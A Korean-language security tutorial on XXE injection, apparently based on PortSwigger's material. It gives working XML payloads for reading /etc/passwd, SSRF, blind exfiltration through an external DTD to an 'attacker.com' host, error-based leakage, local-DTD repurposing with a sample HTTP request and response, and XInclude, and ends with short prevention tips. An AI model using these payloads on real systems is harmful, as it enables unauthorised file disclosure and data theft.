본문으로 건너뛰기

XXE Injection

Security Web Xxe Xml

thumbnail

XXE 취약점 개요
#

XXE (XML External Entity) injection은 XML 처리 과정에서 발생하는 취약점으로, 공격자가 서버 내 파일에 접근하거나 백엔드/외부 시스템과 상호작용할 수 있게 합니다. 권한 없는 사용자가 의도하지 않은 동작을 유발할 수 있어 위험합니다.

XML 및 관련 개념
#

XML Entities
#

XML entities는 데이터를 직접 사용하지 않고 표현하는 방법입니다. 예: <&lt;, >&gt;로 표현됩니다.

DTD (Document Type Definition)
#

DTD는 XML 문서의 구조와 데이터 유형을 정의합니다. 내부 DTD, 외부 DTD, 또는 혼합 형태로 선언 가능합니다.

XML Custom Entities
#

사용자 정의 엔티티로, 데이터를 대체합니다. 예:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

&myentity;는 “my entity value"로 치환됩니다.

XML External Entities
#

외부 리소스를 참조하는 엔티티입니다. 예:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]>

또는 외부 URL:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "<http://example.com>"> ]>

XXE 공격 유형
#

  1. 중요 파일 내용 유출: 서버 파일 시스템에서 데이터를 읽음
  2. SSRF: 내부 시스템에 요청 유도
  3. Blind XXE: 응답 없이 외부로 데이터 유출
  4. 에러 메시지 활용: 에러를 통해 데이터 노출

1. 중요 파일 내용 유출
#

외부 엔티티로 파일을 읽어 응답에 포함시킵니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

결과: /etc/passwd 내용이 응답에 포함됩니다.

2. SSRF (Server-Side Request Forgery)
#

내부 시스템에 요청을 유도합니다.

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "<http://internal.example.com>"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

보충: 응답에 데이터가 없어도 Blind SSRF로 확장 가능.

3. Blind XXE를 이용한 중요 정보 유출
#

응답에 데이터가 반환되지 않을 때, 외부 서버로 데이터를 전송합니다.

  • 외부 DTD 활용:
    • 공격자 서버에 호스팅된 DTD:

      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
      %eval;
      %exfiltrate;
      
    • 대상 서버 페이로드:

      <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "<http://attacker.com/malicious.dtd>"> %xxe;]>
      

보충: 일부 파서가 URL 유효성 검사로 차단 시, ftp:// 사용 가능.

4. 에러 메시지를 통한 데이터 검색
#

에러 메시지에 데이터를 포함시킵니다.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

결과: /etc/passwd 내용이 에러 메시지에 노출.

5. 로컬 DTD 재활용을 통한 Blind XXE 우회
#

내부 DTD에서 파라미터 엔티티(Parameter Entity)의 중첩 사용이 금지된 경우, 전통적인 XXE 기법이 차단될 수 있습니다. 이를 우회하기 위해 로컬 DTD 재활용 기법이 사용됩니다.

로컬 DTD 재활용은 서버에 이미 존재하는 DTD 파일을 활용해 외부 엔티티를 호출하고, 이를 통해 데이터를 유출하는 방법입니다. 이 기법은 복잡하지만, 특정 환경에서 매우 효과적인 공격 수단이 될 수 있습니다.

  1. 서버 내 로컬 DTD 파일 활용

    서버에는 일반적으로 /usr/share/yelp/dtd/docbookx.dtd 같은 기본 DTD 파일이 존재합니다. 공격자는 이를 외부 엔티티로 참조하여 호출합니다.

  2. 기존 엔티티 재정의

    로컬 DTD 파일에 정의된 엔티티(예: %ISOamso)를 공격자가 원하는 동작을 수행하도록 재정의합니다. 이를 통해 파일 읽기와 같은 악의적인 작업을 삽입합니다.

  3. 에러 발생을 통한 유출

    XML 파서가 처리 중 에러를 발생시키도록 유도하고, 에러 메시지에 민감한 데이터를 포함시켜 간접적으로 유출합니다.

공격 과정
#

1. 로컬 DTD 파일 참조

먼저, 서버 내 존재하는 DTD 파일을 외부 엔티티로 불러옵니다.

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  • local_dtd라는 엔티티를 정의하여 로컬 DTD 파일을 참조합니다.

2. 엔티티 재정의

로컬 DTD에 정의된 엔티티(예: %ISOamso)를 재정의하여 공격 로직을 삽입합니다. 아래는 그 예시입니다.

<!ENTITY % ISOamso '
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM \\'file:///nonexistent/%file;\\'>">
  %eval;
  %error;
'>
  • %file: /etc/passwd 파일을 읽는 엔티티를 정의합니다.
  • %eval: 동적으로 %error 엔티티를 정의하는 중간 단계 엔티티입니다. %file의 내용을 포함한 가짜 경로(/nonexistent/%file;)를 생성합니다.
  • %error: 존재하지 않는 파일 경로를 참조하여 에러를 발생시킵니다. 이 에러 메시지에 %file의 내용이 포함됩니다.
  • %eval;%error;를 호출하여 재정의 로직을 실행합니다.

3. 로컬 DTD 호출

마지막으로, 재정의된 엔티티가 적용된 로컬 DTD를 호출합니다.

%local_dtd;
  • 이 호출로 인해 로컬 DTD가 파싱되며, 재정의된 %ISOamso가 실행되어 파일 내용이 에러 메시지에 포함됩니다.

전체 페이로드 예시
#

위 과정을 종합한 전체 XML 페이로드는 다음과 같습니다:

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY % error SYSTEM \\'file:///nonexistent/%file;\\'>">
    %eval;
    %error;
  '>
  %local_dtd;
]>
  • 이 페이로드를 XML 입력으로 제출하면, XML 파서가 로컬 DTD를 처리하면서 에러를 발생시키고, /etc/passwd 파일의 내용이 에러 메시지에 포함되어 반환됩니다.

동작 원리 보충 설명
#

  • 왜 로컬 DTD를 사용하는가?

    내부 DTD에서는 %entity;와 같은 파라미터 엔티티를 중첩하여 사용하는 것이 금지되어 있어, 일반적인 XXE 공격이 차단됩니다. 하지만 외부 DTD(로컬 DTD 포함)를 호출하면 이 제약을 우회할 수 있습니다.

  • 에러 기반 유출

    직접적인 응답에 데이터가 포함되지 않는 Blind XXE 환경에서는, XML 파서가 발생시키는 에러 메시지를 통해 데이터를 간접적으로 유출합니다.

  • 조건

    • 서버에 적절한 로컬 DTD 파일이 존재해야 합니다.
    • XML 파서가 외부 엔티티 로드를 허용해야 합니다.
    • 에러 메시지가 공격자에게 노출되어야 합니다.

실습 예시
#

Blind XXE 취약점이 있는 /product/stock 엔드포인트에 다음 요청을 보냅니다:

POST /product/stock HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: [length]

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY % error SYSTEM \\'file:///nonexistent/%file;\\'>">
    %eval;
    %error;
  '>
  %local_dtd;
]>
<stockCheck><productId>3</productId><storeId>1</storeId></stockCheck>

서버가 에러를 반환하며 파일 내용이 포함됩니다:

HTTP/1.1 400 Bad Request
Content-Type: text/plain

"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
..."
  • /etc/passwd 파일의 내용이 에러 메시지에 포함되어 노출됩니다.

추가 고려 사항
#

  • 로컬 DTD 경로 탐색: /usr/share/yelp/dtd/docbookx.dtd 외에도 서버 환경에 따라 다른 경로(예: /usr/share/xml/docbook/schema/dtd/4.5/docbook.dtd)를 시도해야 할 수 있습니다.
  • 방어 우회: 일부 XML 파서는 외부 엔티티를 차단하지만, 로컬 파일 호출(file://)은 허용하는 경우가 있어 이 기법이 유효합니다.
  • 제한점: 공격 성공을 위해서는 로컬 DTD 파일의 정확한 경로와 구조를 알아야 하며, 서버가 에러를 자세히 반환해야 합니다.

6. XInclude 공격
#

XML이 아닌 요청에서도 활용 가능

<foo xmlns:xi="<http://www.w3.org/2001/XInclude>">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

보충: SOAP 등에서 숨겨진 공격 표면으로 사용 가능.

XXE 취약점 예방
#

  • DTD 및 외부 엔티티 비활성화: XML 파서 설정에서 차단
  • 안전한 파서 옵션: 보안 강화 설정 적용
  • 에러 메시지 관리: 상세 정보 노출 방지
  • 입력 검증: XML 파싱 전 데이터 검증 강화

References
#

https://portswigger.net/web-security/xxe